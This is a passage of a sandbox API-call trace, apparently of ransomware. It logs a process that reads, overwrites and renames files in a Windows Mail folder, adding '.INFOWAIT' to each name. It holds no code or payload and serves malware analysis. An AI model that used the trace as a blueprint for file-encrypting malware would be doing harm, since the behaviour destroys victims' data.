[0144.171] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0144.172] CloseHandle (hObject=0xad4) returned 1 [0144.172] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" [0144.172] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.INFOWAIT" [0144.172] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.infowait")) returned 1 [0144.173] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.174] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.175] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.175] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0144.175] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200000 [0144.175] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.175] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.175] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0144.188] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0144.198] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.198] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0144.199] CloseHandle (hObject=0xad4) returned 1 [0144.199] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" [0144.199] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.INFOWAIT" [0144.199] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.infowait")) returned 1 [0144.199] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.200] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.201] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.201] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.202] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200000 [0144.202] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.202] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.202] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0144.217] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0144.226] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.226] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0144.226] CloseHandle (hObject=0xad0) returned 1 [0144.227] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" [0144.227] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.INFOWAIT" [0144.227] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs.infowait")) returned 1 [0144.227] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.228] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.229] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.229] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.229] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x200000 [0144.229] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.229] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.229] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0144.600] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0144.610] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.610] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0144.610] CloseHandle (hObject=0xad0) returned 1 [0144.611] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" [0144.611] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.INFOWAIT" [0144.611] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.infowait")) returned 1 [0144.611] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.612] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.613] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.613] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.613] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x104 [0144.613] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.613] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.614] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x104, lpOverlapped=0x0) returned 1 [0144.615] VirtualAlloc (lpAddress=0x0, dwSize=0x104, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.615] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.615] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x104, lpOverlapped=0x0) returned 1 [0144.615] CloseHandle (hObject=0xad0) returned 1 [0144.615] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" [0144.615] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.INFOWAIT" [0144.615] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.infowait")) returned 1 [0144.616] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.616] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.617] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.617] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.617] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xff [0144.617] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.618] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.618] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xff, lpOverlapped=0x0) returned 1 [0144.619] VirtualAlloc (lpAddress=0x0, dwSize=0xff, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.619] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.619] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xff, lpOverlapped=0x0) returned 1 [0144.619] CloseHandle (hObject=0xad0) returned 1 [0144.619] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" [0144.619] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.INFOWAIT" [0144.619] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.infowait")) returned 1 [0144.620] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.621] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.621] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.621] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.621] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x432 [0144.621] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.621] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.621] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x432, lpOverlapped=0x0) returned 1 [0144.635] VirtualAlloc (lpAddress=0x0, dwSize=0x432, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.635] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.635] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x432, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x432, lpOverlapped=0x0) returned 1 [0144.635] CloseHandle (hObject=0xad0) returned 1 [0144.635] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" [0144.635] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.INFOWAIT" [0144.635] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.infowait")) returned 1 [0144.636] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.637] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.637] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.637] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.637] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x285 [0144.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.638] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.638] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x285, lpOverlapped=0x0) returned 1 [0144.639] VirtualAlloc (lpAddress=0x0, dwSize=0x285, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.639] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.639] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x285, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x285, lpOverlapped=0x0) returned 1 [0144.640] CloseHandle (hObject=0xad0) returned 1 [0144.640] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" [0144.640] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.INFOWAIT" [0144.640] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\desktop.ini.infowait")) returned 1 [0144.641] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.642] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.642] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.642] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0144.642] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe7 [0144.642] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0144.643] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.643] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe7, lpOverlapped=0x0) returned 1 [0144.644] VirtualAlloc (lpAddress=0x0, dwSize=0xe7, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0144.645] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.645] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe7, lpOverlapped=0x0) returned 1 [0144.645] CloseHandle (hObject=0xad0) returned 1 [0144.645] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" [0144.645] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.INFOWAIT" [0144.645] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.infowait")) returned 1 [0144.646] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.647] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0144.647] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0144.647] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" 